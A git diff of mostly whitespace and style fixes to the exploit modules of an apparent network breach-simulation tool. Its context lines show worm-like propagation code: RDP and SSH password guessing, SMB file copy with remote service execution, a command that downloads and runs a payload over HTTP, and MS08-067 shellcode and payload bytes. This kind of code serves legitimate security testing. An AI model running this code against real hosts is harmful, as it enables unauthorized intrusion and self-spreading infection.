diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index d9fc13f0a..cdd3ce2bd 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -2,7 +2,6 @@ from abc import ABCMeta, abstractmethod __author__ = 'itamar' - class HostExploiter(object): __metaclass__ = ABCMeta _target_os_type = [] diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 0685ffd59..d42fa5953 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -13,7 +13,7 @@ from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from model.host import VictimHost from network.tools import check_port_tcp from exploit.tools import get_target_monkey -from tools import build_monkey_commandline,report_failed_login +from tools import build_monkey_commandline, report_failed_login __author__ = 'hoffer' KEYS_INTERVAL = 0.1 @@ -27,7 +27,7 @@ LOG = getLogger(__name__) def twisted_log_func(*message, **kw): if kw.has_key('isError') and kw['isError']: error_msg = 'Unknown' - if kw.has_key('failure'): + if 'failure' in kw: error_msg = kw['failure'].getErrorMessage() LOG.error("Error from twisted library: %s" % (error_msg,)) else: @@ -87,7 +87,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver): self._update_lock = threading.Lock() self._wait_update = False self._keys_thread = threading.Thread(target=self._keysSender) - self._keys_thread.daemon = True + self._keys_thread.daemon = True self._width = width self._height = height self._last_update = 0 @@ -104,7 +104,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver): def _keysSender(self): while True: - + if self.closed: return @@ -122,7 +122,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver): self._update_lock.release() key.updates -= 1 if key.updates == 0: - self._keys = self._keys[1:] + self._keys = self._keys[1:] elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): self._wait_for_update = False self._update_lock.release() @@ -212,7 +212,7 @@ class CMDClientFactory(rdp.ClientFactory): LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port)) self.success = self._client.success self.done_event.set() - + def clientConnectionFailed(self, connector, reason): LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage())) @@ -232,12 +232,12 @@ class RdpExploiter(HostExploiter): return True if not host.os.get('type'): - is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT) + is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) if is_open: host.os['type'] = 'windows' return True return False - + def exploit_host(self, host, depth=-1, src_path=None): global g_reactor assert isinstance(host, VictimHost) @@ -263,9 +263,13 @@ class RdpExploiter(HostExploiter): cmdline = build_monkey_commandline(host, depth-1) if self._config.rdp_use_vbs_download: - command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} + command = RDP_CMDLINE_HTTP_VBS % { + 'monkey_path': self._config.dropper_target_path, + 'http_path': http_path, 'parameters': cmdline} else: - command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} + command = RDP_CMDLINE_HTTP_BITS % { + 'monkey_path': self._config.dropper_target_path, + 'http_path': http_path, 'parameters': cmdline} passwords = list(self._config.psexec_passwords[:]) known_password = host.get_credentials(self._config.psexec_user) @@ -276,7 +280,7 @@ class RdpExploiter(HostExploiter): if not g_reactor.is_alive(): g_reactor.daemon = True - g_reactor.start() + g_reactor.start() exploited = False for password in passwords: @@ -290,13 +294,13 @@ class RdpExploiter(HostExploiter): reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() - + if client_factory.success: exploited = True host.learn_credentials(self._config.psexec_user, password) break else: - #failed exploiting with this user/pass + # failed exploiting with this user/pass report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: @@ -311,7 +315,7 @@ class RdpExploiter(HostExploiter): if not exploited: LOG.debug("Exploiter RdpGrinder failed, rdp failed.") return False - elif http_thread.downloads == 0: + elif http_thread.downloads == 0: LOG.debug("Exploiter RdpGrinder failed, http download failed.") return False diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 616a2a195..016128047 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -6,12 +6,12 @@ from exploit import HostExploiter from network.tools import check_port_tcp from exploit.tools import SmbTools, get_target_monkey from network import SMBFinger -from tools import build_monkey_commandline,report_failed_login +from tools import build_monkey_commandline, report_failed_login try: from impacket import smb from impacket import uuid - #from impacket.dcerpc import dcerpc + # from impacket.dcerpc import dcerpc from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT from impacket.smb import SessionError as SessionError2 @@ -23,7 +23,6 @@ except ImportError, exc: print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) - LOG = getLogger(__name__) @@ -33,7 +32,7 @@ class SmbExploiter(HostExploiter): KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), - } + } USE_KERBEROS = False def __init__(self): @@ -45,16 +44,16 @@ class SmbExploiter(HostExploiter): return True if not host.os.get('type'): - is_smb_open,_ = check_port_tcp(host.ip_addr, 445) + is_smb_open, _ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() smb_finger.get_host_fingerprint(host) else: - is_nb_open,_ = check_port_tcp(host.ip_addr, 139) + is_nb_open, _ = check_port_tcp(host.ip_addr, 139) if is_nb_open: host.os['type'] = 'windows' return host.os.get('type') in self._target_os_type - return False + return False def exploit_host(self, host, depth=-1, src_path=None): assert isinstance(host, VictimHost) @@ -63,7 +62,7 @@ class SmbExploiter(HostExploiter): if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) - return False + return False passwords = list(self._config.psexec_passwords[:]) known_password = host.get_credentials(self._config.psexec_user) @@ -77,10 +76,10 @@ class SmbExploiter(HostExploiter): try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.psexec_user, - password, - src_path, - self._config.dropper_target_path) + self._config.psexec_user, + password, + src_path, + self._config.dropper_target_path) if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s)", @@ -89,7 +88,7 @@ class SmbExploiter(HostExploiter): exploited = True break else: - #failed exploiting with this user/pass + # failed exploiting with this user/pass report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: @@ -108,14 +107,14 @@ class SmbExploiter(HostExploiter): else: cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path} - cmdline += build_monkey_commandline(host, depth-1) + cmdline += build_monkey_commandline(host, depth - 1) for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): - rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, )) + rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr,)) rpctransport.set_dport(port) - if hasattr(rpctransport,'preferred_dialect'): - rpctransport.preferred_dialect(SMB_DIALECT) + if hasattr(rpctransport, 'preferred_dialect'): + rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr, @@ -145,7 +144,7 @@ class SmbExploiter(HostExploiter): service = resp['lpServiceHandle'] try: - scmr.hRStartServiceW(scmr_rpc, service) + scmr.hRStartServiceW(scmr_rpc, service) except: pass scmr.hRDeleteService(scmr_rpc, service) diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index fdd9fee51..e19a10ae1 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -3,7 +3,7 @@ import logging import time from itertools import product import monkeyfs -from tools import build_monkey_commandline,report_failed_login +from tools import build_monkey_commandline, report_failed_login from exploit import HostExploiter from model import MONKEY_ARG from exploit.tools import get_target_monkey @@ -72,7 +72,7 @@ class SSHExploiter(HostExploiter): LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, user, curpass, exc) - report_failed_login(self,host,user,curpass) + report_failed_login(self, host, user, curpass) continue if not exploited: diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 11b55e46d..052469802 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -142,7 +142,7 @@ class WmiTools(object): try: while True: try: - next_item = iEnumWbemClassObject.Next(0xffffffff,1)[0] + next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] record = next_item.getProperties() if not fields: @@ -163,6 +163,7 @@ class WmiTools(object): return query + class SmbTools(object): @staticmethod def copy_file(host, username, password, src_path, dst_path): @@ -180,7 +181,8 @@ class SmbTools(object): LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges", host, username, password) - try: smb.logoff() + try: + smb.logoff() except: pass return None @@ -273,7 +275,7 @@ class SmbTools(object): LOG.debug("Remote monkey file is found but different, moving along with attack") except: - pass # file isn't found on remote victim, moving on + pass # file isn't found on remote victim, moving on try: with monkeyfs.open(src_path, 'rb') as source_file: @@ -290,8 +292,10 @@ class SmbTools(object): share_name, host, exc) continue finally: - try: smb.logoff() - except: pass + try: + smb.logoff() + except: + pass smb = None @@ -393,7 +397,7 @@ def get_target_monkey(host): if host.os.get('type') == platform.system().lower(): # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe if (not host.os.get('machine') and sys.maxsize < 2**32) or \ - host.os.get('machine','').lower() == platform.machine().lower(): + host.os.get('machine', '').lower() == platform.machine().lower(): monkey_path = sys.executable return monkey_path diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index a7bdf2d47..b73c648b4 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -64,7 +64,7 @@ SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" # Payload for Windows 2000 target -PAYLOAD_2000 ='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' +PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' PAYLOAD_2000 += '\x41\x41' @@ -78,7 +78,7 @@ PAYLOAD_2000 += '\xeb\xcc' PAYLOAD_2000 += '\x00\x00' # Payload for Windows 2003[SP2] target -PAYLOAD_2003 ='\x41\x00\x5c\x00' +PAYLOAD_2003 = '\x41\x00\x5c\x00' PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00' PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77' PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00' @@ -165,10 +165,11 @@ class SRVSVC_Exploit(object): return dce_packet + class Ms08_067_Exploiter(HostExploiter): _target_os_type = ['windows'] - _windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2, - 'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2} + _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, + 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2} def __init__(self): self._config = __import__('config').WormConfiguration @@ -180,7 +181,7 @@ class Ms08_067_Exploiter(HostExploiter): return True if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): - is_smb_open,_ = check_port_tcp(host.ip_addr, 445) + is_smb_open, _ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(host):